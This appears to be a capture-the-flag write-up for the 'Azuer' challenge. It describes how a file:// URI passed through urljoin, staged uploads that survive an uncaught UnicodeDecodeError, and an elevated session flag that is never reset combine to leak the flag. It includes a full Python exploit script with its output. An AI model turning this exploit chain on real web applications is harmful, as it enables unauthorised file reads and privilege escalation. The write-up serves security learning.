Challenge Description
more azure than azure - thats why were azuer!
Writeup
The app is a fake Azure console made with Flask
It talks to an internal accounts service but that service always says role member and export false
So the normal path is completely useless btw
The interesting part is the account field
It gets saved in the session then used with urljoin
That means an absolute file URI can replace the internal API address
local files are now the cloud provider ngl
Cloud Storage But It Is Tmp :)
The upload route stages files under
path
/tmp/users/account/filename
Each record chooses its own account and the multipart filename chooses the final filename
I first stage these two files
staged
/tmp/users/perm/permissions
/tmp/users/user/settings
The first one says role admin
The second one says export enabled
Then I send a third file containing raw ff
The route only catches JSONDecodeError
Raw ff causes UnicodeDecodeError instead
So Flask returns 500 and the cleanup never runs
Tbh this is the fun part because the failed upload is what makes the files stay
The code reads the permission file like this
concat
file:///tmp/users/perm/
+
permissions
->
file:///tmp/users/perm/permissions
That gives elevated true in the session
Then console select switches to
path
file:///tmp/users/
But select does not clear elevated
So export reads
path
file:///tmp/users/user/settings
And sees export_enabled true
Flag machine goes brr
scirpt
solve.py
import requests
BASE = 'https://8000-36f12be205094dfb9e3cf29f52f2ca4b.sbx.secso.cc/'
files = [
('files', ('permissions', b'{"account":"perm","role":"admin"}', 'application/json')),
('files', ('settings', b'{"account":"user","export_enabled":true}', 'application/json')),
('files', ('boom', b'\xff', 'application/json')),
]
r = requests.post(BASE + 'upload', files=files, timeout=20)
print('upload:', r.status_code, r.text[:500])
s = requests.Session()
r = s.post(
BASE + 'console/select',
data={'account': 'file:///tmp/users/perm/'},
timeout=20
)
print('select perm:', r.status_code, r.text)
r = s.get(BASE + 'console/permissions', timeout=20)
print('permissions:', r.status_code, r.text)
r.raise_for_status()
r = s.post(
BASE + 'console/select',
data={'account': 'file:///tmp/users/'},
timeout=20
)
print('select export base:', r.status_code, r.text)
r = s.get(BASE + 'console/export', timeout=20)
print('export:', r.status_code, r.text)
The upload returning 500 looks bad but it is exactly what we want
The first two files survive because the error handler never removes them
Then permissions fetch uses the fake local account and becomes admin
Then export switches to another fake local account while keeping admin
traaaaaaaaaa
log
upload: 500 <!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
select perm: 200 {"account":"file:///tmp/users/perm/"}
permissions: 200 {"elevated":true,"role":"admin"}
select export base: 200 {"account":"file:///tmp/users/"}
export: 200 {"flag":"K17{why_s0_blu3?}"}
Flag
flag
K17{why_s0_blu3?}
ngl the solve had nothing to do with Azure in the end
It was just broken cleanup local file reads and a session flag that forgets to reset
Azuer got clowned pretty hard